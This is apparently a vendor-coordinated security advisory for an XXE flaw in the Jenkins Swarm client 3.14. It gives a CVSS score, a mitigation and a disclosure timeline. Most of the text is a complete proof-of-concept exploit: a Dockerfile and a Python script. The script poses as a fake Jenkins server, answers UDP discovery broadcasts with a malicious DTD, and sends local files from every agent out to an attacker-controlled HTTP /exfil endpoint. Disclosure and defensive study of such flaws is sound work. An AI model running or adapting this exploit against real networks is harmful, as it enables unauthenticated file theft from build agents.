### Summary
The Jenkins Self-Organizing Swarm Modules Plugin, version 3.14, contains a trivial XXE (XML External Entities) vulnerability inside of the `getCandidateFromDatagramResponses()` method. As a result of this issue, it is possible for an attacker on the same network as a Swarm client to read arbitrary files from the system by responding to the UDP discovery requests with a specially crafted response.
### Tested Versions
Swarm-Client - 3.14
### Product URLs
<https://github.com/jenkinsci/swarm-plugin> [https://wiki.jenkins.io/display/JENKINS/Swarm+Plugin][https://wiki.jenkins.io/display/JENKINS/Swarm+Plugin]
### CVSSv3 Score
6.1 - CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:L
### CWE
CWE-611 - Improper Restriction of XML External Entity Reference ('XXE')
### Details
This vulnerability could allow an unprivileged user connected to the network on which a set of Swarm agents are deployed to access data on the agent instances without additional authentication. Due to the nature of the UDP broadcast discovery mechanism, the ability of a user to run the proof-of-concept code in a network that uses this mechanism for Jenkins Master discovery yields unauthenticated local file read(s) on all agents seeking masters. This was tested in a Docker-based environment, where all agents running the Swarm Agent were able to be exploited simultaneously.
A CVSS v3 score of 6.1 has been calculated for this vulnerability. However, this is likely heavily dependent on the given deployment and could be significantly lower depending on a number of implementation factors. Furthermore, due to the nature of the Java XML parser, files that contain certain characters cannot be reflected in FTP or HTTP URIs to exfiltrate data.
### Exploit Proof of Concept
Dockerfile
```
FROM ubuntu:latest
# Update repository metadata and install a JVM.
RUN apt update && \
    apt install -y openjdk-8-jre-headless tcpdump curl && \
    apt install -y python3 python3-pip tmux && \
    pip3 install pyftpdlib
# Grab the latest Swarm Client.
RUN curl -D - -o /var/tmp/swarm-client.jar \
    https://repo.jenkins-ci.org/releases/org/jenkins-ci/plugins/swarm-client/3.14/swarm-client-3.14.jar
# Copy our exploit code to the container.
COPY exploit.py /root/exploit.py
# Give 'er.
ENTRYPOINT java -jar /var/tmp/swarm-client.jar
```
exploit.py
```
''' Jenkins Swarm-Plugin XXE PoC (via @Darkarnium). '''
import os
import sys
import socket
import uuid
import logging
import http.server
import socketserver
import multiprocessing
def find_ip():
    ''' Find the IP of the 'primary' network interface. '''
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.connect(('8.8.8.8', 80))
    addr = sock.getsockname()[0]
    sock.close()
    return addr
class RequestHandler(http.server.BaseHTTPRequestHandler):
    ''' Provides a set of request handlers for our Fake jenkins server. '''
    def __init__(self, request, client_address, server):
        ''' Bot on a logger. '''
        self.logger = logging.getLogger(__name__)
        super().__init__(request, client_address, server)
    def version_string(self):
        ''' Override version string / Server header. '''
        return 'TotallyJenkins'
    def log_message(self, fmt, *args):
        ''' Where we're going, we don't need logs. '''
        pass
    def log_error(self, fmt, *args):
        ''' Where we're going, we don't need logs. '''
        pass
    def log_request(self, code='-', size='-'):
        ''' Where we're going, we don't need logs. '''
        self.logger.debug(
            'Received %s request for %s from %s',
            self.command,
            self.path,
            self.client_address
        )
    def build_stage_two(self):
        ''' Builds a second stage XXE payload - for exfil. '''
        payload = '''
            <!ENTITY % local1 SYSTEM "file:///etc/debian_version">
            <!ENTITY % remote1 "<!ENTITY exfil1 SYSTEM 'http://{0}:{1}/exfil?/etc/debian_version=%local1;'>">
            <!ENTITY % local2 SYSTEM "file:///etc/hostname">
            <!ENTITY % remote2 "<!ENTITY exfil2 SYSTEM 'http://{0}:{1}/exfil?/etc/hostname=%local2;'>">
        '''.format(find_ip(), '8080')
        return payload.encode()
    def do_GET(self):
        ''' Implements routing for HTTP GET requests. '''
        self.logger.debug('Processing GET on route "%s"', self.path)
        # Provide an exfiltration endpoint.
        if '/exfil' in self.path:
            self.logger.warn('Exfiltrated %s -> "%s"', *self.path.split('?')[1].split('='))
            self.send_response(200, 'OK')
            self.send_header('X-Hudson', '1.395')
            self.send_header('Content-Length', '2')
            self.end_headers()
            self.wfile.write(b'OK')
        # Serve the payload DTD.
        if self.path.endswith('.dtd'):
            stage_two = self.build_stage_two()
            self.send_response(200, 'OK')
            self.send_header('Content-Type', 'application/x-java-jnlp-file')
            self.send_header('Content-Length', len(stage_two))
            self.end_headers()
            self.wfile.write(stage_two)
        # Ensure the X-Hudson check in Swarm plugin passes.
        if self.path == '/':
            self.send_response(200, 'OK')
            self.send_header('X-Hudson', '1.395')
            self.send_header('Content-Length', '2')
            self.end_headers()
            self.wfile.write(b'OK')
    def do_PUT(self):
        ''' Mock HTTP PUT requests. '''
        self.send_response(500)
    def do_POST(self):
        ''' Mock HTTP POST requests. '''
        self.logger.debug('Processing POST on route "%s"', self.path)
        # Respond with an OK to keep the exchange going.
        if self.path.startswith('/plugin/swarm/createSlave'):
            self.send_response(200, 'OK')
            self.send_header('Content-Length', '0')
            self.end_headers()
    def do_HEAD(self):
        ''' Mock HTTP HEAD requests. '''
        self.send_response(500)
    def do_PATCH(self):
        ''' Mock HTTP PATCH requests. '''
        self.send_response(500)
    def do_OPTIONS(self):
        ''' Mock HTTP HEAD requests. '''
        self.send_response(500)
class HTTPServer(multiprocessing.Process):
    ''' Provides a Fake Jenkins server to signal the Swarm. '''
    def __init__(self, port=8080):
        ''' Bolt on a logger. '''
        super().__init__()
        self.port = port
        self.logger = logging.getLogger(__name__)
    def run(self):
        ''' Do the thing. '''
        self.logger.info('Starting HTTP listener on TCP %s', self.port)
        # Kick off the server.
        instance = http.server.HTTPServer(
            ('0.0.0.0', self.port),
            RequestHandler
        )
        instance.serve_forever()
class Spwner(multiprocessing.Process):
    ''' Provides a Spawn broadcast listener and responder. '''
    def __init__(self, port=33848):
        ''' Setup a socket and bolt on a logger. '''
        super().__init__()
        self.port = port
        self.logger = logging.getLogger(__name__)
        self.logger.info('Binding broadcast listener to UDP %s', port)
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        self.sock.bind(('255.255.255.255', self.port))
        self.swarm = str(uuid.uuid4())
    def build_swarm_xml(self):
        ''' Builds a baked Swarm payload. '''
        # This is dirty.
        payload = '''<?xml version="1.0" encoding="ISO-8859-1"?>
            <!DOCTYPE swarm [
                <!ENTITY % stageTwo SYSTEM "http://{0}:{1}/stageTwo.dtd">
                %stageTwo;
                %remote1;
                %remote2;
            ]>
            <root>
                <swarm>&exfil1;</swarm>
                <version>&exfil2;</version>
                <url>http://{0}:{1}/</url>
            </root>
        '''.format(find_ip(), '8080')
        return payload.encode()
    def respond(self, client):
        ''' Send a payload to the given client. '''
        addr, port = client
        self.logger.info('Sending payload to %s:%s', addr, port)
        sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        sock.sendto(self.build_swarm_xml(), (addr, port))
        self.logger.info('Payload sent!')
    def listen(self):
        ''' Listen for clients. '''
        while True:
            _, client = self.sock.recvfrom(1024)
            self.logger.info('Received a Swarm broadcast from %s', client)
            self.respond(client)
    def run(self):
        ''' Do the thing. '''
        self.listen()
def main():
    ''' Jenkins Swarm-Plugin RCE PoC. '''
    # Configure the logger.
    logging.basicConfig(
        level=logging.INFO,
        format='%(asctime)s - %(process)d - [%(levelname)s] %(message)s',
    )
    log = logging.getLogger(__name__)
    # log.setLevel(logging.DEBUG)
    # Spawn a fake Jenkins HTTP server.
    log.info('Spawning fake Jenkins HTTP Server')
    httpd = HTTPServer()
    httpd.start()
    # Spawn a broadcast listener.
    log.info('Spawning a Swarm broadcast listener')
    listener = Spwner()
    listener.start()
if __name__ == '__main__':
    main()
```
### Mitigation
Until such time that the vendor produces a patched version, the UDP broadcast functionality should be disabled. This can be performed by explicitly specifying a Jenkins master to connect to as part of the command-line arguments.
### Timeline
2018-12-05 - Vendor Disclosure
2019-04-30 - Vendor Patched
2019-05-06 - Public Release
                       
                       
        
          
暂无评论